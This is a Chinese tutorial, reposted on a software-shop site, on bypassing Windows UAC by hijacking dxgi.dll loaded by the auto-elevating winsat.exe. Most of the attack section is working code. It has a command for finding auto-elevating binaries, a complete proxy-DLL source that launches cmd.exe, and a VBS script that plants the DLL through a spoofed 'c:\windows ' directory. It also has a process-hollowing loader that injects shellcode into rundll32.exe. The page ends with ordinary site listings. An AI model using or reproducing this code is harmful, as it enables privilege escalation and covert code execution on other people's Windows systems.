当前位置:

首页 > 软件教程 > Bypass UAC与DLL劫持详解

Bypass UAC与DLL劫持详解

0x11UAC简介用户账户控制(UserAccountControl,简称UAC)是微软公司在WindowsVista及更高版本操作系统中引入的一种安全机制。其目的是通过提示用户授权应用程序访问硬盘驱动器和系统文件,来防止恶意软件损害系统。UAC需要授权的操作包括:配置WindowsUpdate添加或删除用户账户更改用户账户类型更改UAC设置安装ActiveX控件安装或卸载程序安装设备驱动程序设置家长控制将文件移动或复制到ProgramFiles或Windows目录查看其他用户的文件夹效果如下

本文目录

    0x11 UAC简介

    用户账户控制(User Account Control,简称UAC)是微软公司在Windows Vista及更高版本操作系统中引入的一种安全机制。其目的是通过提示用户授权应用程序访问硬盘驱动器和系统文件,来防止恶意软件损害系统。

    UAC需要授权的操作包括:

    1. 配置Windows Update
    2. 添加或删除用户账户
    3. 更改用户账户类型
    4. 更改UAC设置
    5. 安装ActiveX控件
    6. 安装或卸载程序
    7. 安装设备驱动程序
    8. 设置家长控制
    9. 将文件移动或复制到Program Files或Windows目录
    10. 查看其他用户的文件夹

    效果如下:

    bypassUAC && DLL劫持

    UAC设置有不同的级别,具体设置如下:

    bypassUAC && DLL劫持

    为什么有些应用程序不需要UAC提示?

    简单来说,因为这些应用程序可以自动提升权限(autoElevate)。这也是常见的UAC绕过方法之一。常见方法包括:

    1. 白名单提权机制 - autoElevate
    2. DLL劫持
    3. 利用Windows自身漏洞提权
    4. 远程注入
    5. COM接口技术

    具有autoElevate属性的应用程序在启动时会自动以管理员身份运行。这些应用程序通常具有微软的数字签名,被认为是可信的。如果我们通过COM技术或DLL劫持这些应用程序,也能获得管理员权限,但这需要较高的分析成本和技术难度。

    0x12 BypassUAC

    接下来,我们将寻找具有autoElevate权限的应用程序,并通过DLL劫持来绕过UAC。关于DLL劫持的原理,网上已有许多相关的文章,这里不再赘述。

    首先,使用以下命令查找具有autoElevate属性的可执行文件:

    strings.exe -s *.exe | findstr /i autoelevate

    bypassUAC && DLL劫持

    我们选择了winsat.exe作为目标劫持程序。查看该程序加载的DLL,发现其会加载dxgi.dll。

    bypassUAC && DLL劫持

    下面是我们编写的DLL劫持代码,原理如下图所示(图源自国外):

    bypassUAC && DLL劫持

    可以通过dllexp查看DLL内的函数:

    bypassUAC && DLL劫持

    你可以自行编写所需的DLL,也可以使用自动化工具生成。经过多次尝试和团队wlpz师傅的指导,我们最终的目标是通过DLL劫持运行cmd.exe,主要代码如下:

    # include "pch.h"
    #include 
    #include 
    #pragma comment(lib, "Wtsapi32.lib")
    # define EXTERNC extern "C"
    # define NAKED __declspec(naked)
    # define EXPORT EXTERNC __declspec(dllexport)
    # define ALCPP EXPORT NAKED
    # define ALSTD EXTERNC EXPORT NAKED void __stdcall
    # define ALCFAST EXTERNC EXPORT NAKED void __fastcall
    # define ALCDECL EXTERNC NAKED void __cdecl
    

    EXTERNC { FARPROC Hijack_ApplyCompatResolutionQuirking; FARPROC Hijack_CompatString; FARPROC Hijack_CompatValue; FARPROC Hijack_CreateDXGIFactory; FARPROC Hijack_CreateDXGIFactory1; FARPROC Hijack_CreateDXGIFactory2; FARPROC Hijack_DXGID3D10CreateDevice; FARPROC Hijack_DXGID3D10CreateLayeredDevice; FARPROC Hijack_DXGID3D10GetLayeredDeviceSize; FARPROC Hijack_DXGID3D10RegisterLayers; FARPROC Hijack_DXGIDeclareAdapterRemovalSupport; FARPROC Hijack_DXGIDumpJournal; FARPROC Hijack_DXGIGetDebugInterface1; FARPROC Hijack_DXGIReportAdapterConfiguration; FARPROC Hijack_PIXBeginCapture; FARPROC Hijack_PIXEndCapture; FARPROC Hijack_PIXGetCaptureState; FARPROC Hijack_SetAppCompatStringPointer; FARPROC Hijack_UpdateHMDEmulationStatus; }

    namespace DLLHijacker{ HMODULE m_hModule = NULL; DWORD m_dwReturn[17] = {0}; inline BOOL WINAPI Load(){ TCHAR tzPath[MAX_PATH]; lstrcpy(tzPath, TEXT("dxgi")); m_hModule = LoadLibrary(tzPath); if (m_hModule == NULL) return FALSE; return (m_hModule != NULL); } FARPROC WINAPI GetAddress(PCSTR pszProcName){ FARPROC fpAddress; CHAR szProcName[16]; fpAddress = GetProcAddress(m_hModule, pszProcName); if (fpAddress == NULL) { if (HIWORD(pszProcName) == 0) { wsprintf((LPWSTR)szProcName, L"%d", pszProcName); pszProcName = szProcName; } ExitProcess(-2); } return fpAddress; } }

    using namespace DLLHijacker;

    void StartProcess(){ STARTUPINFO startInfo = { 0 }; PROCESS_INFORMATION procInfo = { 0 }; WCHAR cmdline[] = L"cmd.exe";

    CreateProcess(cmdline, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &startInfo, &procInfo);

    }

    BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { DisableThreadLibraryCalls(hModule); if(Load()) { Hijack_ApplyCompatResolutionQuirking = GetAddress("ApplyCompatResolutionQuirking"); Hijack_CompatString = GetAddress("CompatString"); Hijack_CompatValue = GetAddress("CompatValue"); Hijack_CreateDXGIFactory = GetAddress("CreateDXGIFactory"); Hijack_CreateDXGIFactory1 = GetAddress("CreateDXGIFactory1"); Hijack_CreateDXGIFactory2 = GetAddress("CreateDXGIFactory2"); Hijack_DXGID3D10CreateDevice = GetAddress("DXGID3D10CreateDevice"); Hijack_DXGID3D10CreateLayeredDevice = GetAddress("DXGID3D10CreateLayeredDevice"); Hijack_DXGID3D10GetLayeredDeviceSize = GetAddress("DXGID3D10GetLayeredDeviceSize"); Hijack_DXGID3D10RegisterLayers = GetAddress("DXGID3D10RegisterLayers"); Hijack_DXGIDeclareAdapterRemovalSupport = GetAddress("DXGIDeclareAdapterRemovalSupport"); Hijack_DXGIDumpJournal = GetAddress("DXGIDumpJournal"); Hijack_DXGIGetDebugInterface1 = GetAddress("DXGIGetDebugInterface1"); Hijack_DXGIReportAdapterConfiguration = GetAddress("DXGIReportAdapterConfiguration"); Hijack_PIXBeginCapture = GetAddress("PIXBeginCapture"); Hijack_PIXEndCapture = GetAddress("PIXEndCapture"); Hijack_PIXGetCaptureState = GetAddress("PIXGetCaptureState"); Hijack_SetAppCompatStringPointer = GetAddress("SetAppCompatStringPointer"); Hijack_UpdateHMDEmulationStatus = GetAddress("UpdateHMDEmulationStatus");

            StartProcess();
        }
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;

    }

    然而,我们遇到了一个问题:系统的DLL通常需要权限才能更改或移动。为了解决这个问题,我们找到了一个VBS脚本,可以帮助我们完成操作,代码如下:

    Set oFSO = CreateObject("Scripting.FileSystemObject")
    Set wshshell = wscript.createobject("WScript.Shell")

    ' Get target binary and payload WScript.StdOut.Write("System32 binary: ") strBinary = WScript.StdIn.ReadLine() WScript.StdOut.Write("Path to your DLL: ") strDLL = WScript.StdIn.ReadLine()

    ' Create folders Const target = "c:\windows " target_sys32 = (target & "system32\") target_binary = (target_sys32 & strBinary)

    If Not oFSO.FolderExists(target) Then oFSO.CreateFolder target End If If Not oFSO.FolderExists(target_sys32) Then oFSO.CreateFolder target_sys32 End If

    ' Copy legit binary and evil DLL oFSO.CopyFile ("c:\windows\system32\" & strBinary), target_binary oFSO.CopyFile strDLL, target_sys32

    ' Run, Forrest, Run! wshshell.Run("""" & target_binary & """")

    ' Clean files WScript.StdOut.Write("Clean up? (press enter to continue)") WScript.StdIn.ReadLine() wshshell.Run("powershell /c ""rm -r """"\?\" & target & """""""")

    最终效果如下:

    bypassUAC && DLL劫持

    如果需要加载shellcode,可以修改其中的函数,例如如下所示:

    void StartProcess(){
    unsigned char shellcode_calc[] =
    "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
    "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
    "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
    "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
    "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
    "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
    "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
    "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
    "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
    "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
    "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
    "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
    "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
    "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
    "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
    "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
    "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
    "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
    "\x63\x2e\x65\x78\x65\x00";
    TCHAR CommandLine[] = TEXT("c:\windows\system32\rundll32.exe");
    CONTEXT Context;
    struct _STARTUPINFOA StartupInfo;
    struct _PROCESS_INFORMATION ProcessInformation;
    LPVOID lpBaseAddress;

    ZeroMemory(&StartupInfo, sizeof(StartupInfo)); StartupInfo.cb = 104; if (CreateProcess(0, CommandLine, 0, 0, 0, 0x44, 0, 0, (LPSTARTUPINFOW)&StartupInfo, &ProcessInformation)) { Context.ContextFlags = 1048579; GetThreadContext(ProcessInformation.hThread, &Context); lpBaseAddress = VirtualAllocEx(ProcessInformation.hProcess, 0, 0x800u, 0x1000u, 0x40u); WriteProcessMemory(ProcessInformation.hProcess, lpBaseAddress, &shellcode_calc, 0x800u, 0); Context.Rip = (DWORD64)lpBaseAddress; SetThreadContext(ProcessInformation.hThread, &Context); ResumeThread(ProcessInformation.hThread); CloseHandle(ProcessInformation.hThread); CloseHandle(ProcessInformation.hProcess); } }

    最后,学习该方法时,我们发现作者整理了一份可劫持的系统表,地址如下:

    https://github.com/wietze/windows-dll-hijacking/blob/master/dll_hijacking_candidates.csv

    bypassUAC && DLL劫持

    有兴趣的可以尝试复现。

    参考文章:

    https://payloads.online/archivers/2018-12-22/1#0x12-bypass-uac%E7%9A%84%E5%87%A0%E7%A7%8D%E6%96%B9%E5%BC%8F

    https://payloads.online/archivers/2020-03-02/2

    https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows

    本站声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系bd@zhengruan.com
    作者最新文章
    软件教程 网络安全
    相关文章 更多
    漫蛙官方入口失效怎么办?查找最新可用域名的方法
    漫蛙官方入口失效怎么办?查找最新可用域名的方法

    漫蛙官方入口经常变动,本文详解如何通过官方社交账号、公告栏及社群获取最新可用域名,确保访问安全,远离虚假链接。

    漫蛙官方入口是什么?怎么辨别正版官网与钓鱼网站
    漫蛙官方入口是什么?怎么辨别正版官网与钓鱼网站

    找不到漫蛙官方入口?担心误入钓鱼网站?本文详解如何通过域名后缀、HTTPS加密标识及页面UI细节,准确辨别漫蛙正版官网,保障您的浏览安全与账号隐私。

    PixTV官网入口在哪里?认准官方域名防山寨
    PixTV官网入口在哪里?认准官方域名防山寨

    寻找 PixTV 官方网站?请认准主域名 pixtv.ai。本文详解如何通过地址栏、首页功能布局及底部条款信息辨别真假官网,确保访问安全的 AI 创作平台。

    PixPix官方网站地址确认与防骗指南
    PixPix官方网站地址确认与防骗指南

    学习如何快速辨别 PixPix 官方网站,避免点击恶意广告或钓鱼链接。通过域名核对、首页功能验证及安全支付原则,保障您的账户信息与素材资产安全。

    PixPix官网入口在哪里?怎么辨别真实官方网站
    PixPix官网入口在哪里?怎么辨别真实官方网站

    担心点进假冒的 PixPix 网站?本文教你通过检查 pixpix.com 域名、识别强制下载和异常收费等风险信号,以及验证工作台功能,快速找到真实官方入口,保障账号与素材安全。

    搜索PixPix官网入口却跳转到其他页面怎么办
    搜索PixPix官网入口却跳转到其他页面怎么办

    搜索 PixPix 官网时遇到广告弹窗或错误跳转?本文教你通过核对 pixpix.com 域名、识别虚假下载页及确认官方工作台功能,安全访问 PixPix 图像创作平台。

    Win10重装系统前怎么备份重要数据与驱动
    Win10重装系统前怎么备份重要数据与驱动

    防止Win10重装导致数据丢失,本文提供从文件分类备份、账号密钥整理到网卡驱动离线保存的完整流程,强调独立验证与恢复顺序,确保重装后快速恢复工作状态。

    codex官网下载入口电脑版客户端下载安装教程
    codex官网下载入口电脑版客户端下载安装教程

    许多用户搜索“Codex官网下载入口”时容易陷入误区。本文解释Codex并非单一软件,而是多种技术的统称,分析常见混淆场景,提供正确的资源获取方式和安全下载建议,防止误装恶意程序。

    路由器固件升级教程详细步骤图解指南
    路由器固件升级教程详细步骤图解指南

    详解路由器固件升级的完整流程,包括备份配置、下载正确固件、执行刷写及失败恢复。文章不仅提供操作步骤,更深入分析升级机制与潜在风险,帮助用户做出理性的维护决策。

    网络安全等级保护定级报告 制造企业自主定级范本
    网络安全等级保护定级报告 制造企业自主定级范本

    本文提供一份适用于制造企业的网络安全等级保护定级报告范本。报告详细拆解了定级对象描述、业务信息安全与系统服务安全等级的判断逻辑,并给出了完整的备案路径与专家评审行动清单。企业可参考此结构,结合自有机房、私有云或混合云环境,快速完成等保二级的自主定级与备案材料准备。

    查看更多
    精品专题 更多
    装机必备
    装机必备

    正软商城装机必备专区,精选办公、浏览器、安全防护、影音播放、压缩解压、设计创作和系统工具等电脑常用正版软件,帮助用户快速完成新电脑软件配置。

    Windows
    Windows

    正软商城Windows软件专区,汇集适用于Windows电脑的办公、设计、安全防护、影音播放、开发工具和系统优化软件,提供软件介绍、系统要求、正版授权及购买下载服务。

    PDF教程
    PDF教程

    正软商城PDF教程频道提供PDF编辑、转换、合并、拆分、压缩及格式处理方法,同时介绍常用PDF软件和工具的使用技巧。

    Mac软件 更多
    讯飞智作 网页版
    讯飞智作 网页版
    Windows/ macOS/ Linux

    讯飞智作是一款基于语音合成技术、虚拟人驱动技术与数字人形象声音构建能力的 AI 数字人音视频创作平台。

    火山引擎 网页版
    火山引擎 网页版
    Windows/ macOS/ Linux

    火山引擎是字节跳动旗下企业级云与AI服务平台。聚焦大模型核心能力,依托字节自研豆包多模态大模型,凭借火山方舟一站式平台,提供模型精调、推理部署、智能应用搭建等全链路服务,结合高性能AI算力,助力各行业快速落地大模型数字化与智能化应用。

    Aperty macOS版
    Aperty macOS版
    macOS

    Aperty 是 Skylum 推出的 AI 人像修图软件,支持自然肤质修饰、瑕疵处理、面部与身体调整、预设及批量同步。

    WINDOWS 更多
    讯飞智作 网页版
    讯飞智作 网页版
    Windows/ macOS/ Linux

    讯飞智作是一款基于语音合成技术、虚拟人驱动技术与数字人形象声音构建能力的 AI 数字人音视频创作平台。

    火山引擎 网页版
    火山引擎 网页版
    Windows/ macOS/ Linux

    火山引擎是字节跳动旗下企业级云与AI服务平台。聚焦大模型核心能力,依托字节自研豆包多模态大模型,凭借火山方舟一站式平台,提供模型精调、推理部署、智能应用搭建等全链路服务,结合高性能AI算力,助力各行业快速落地大模型数字化与智能化应用。

    PixTV 网页版
    PixTV 网页版
    Windows

    PixTV 是一款在浏览器中使用的 AI 视觉内容创作平台,提供图片、视频、音频、文字生成、AI 分镜、局部重绘、提示词反推和无限画布等工具,适合短剧、漫剧、广告及社交媒体内容制作。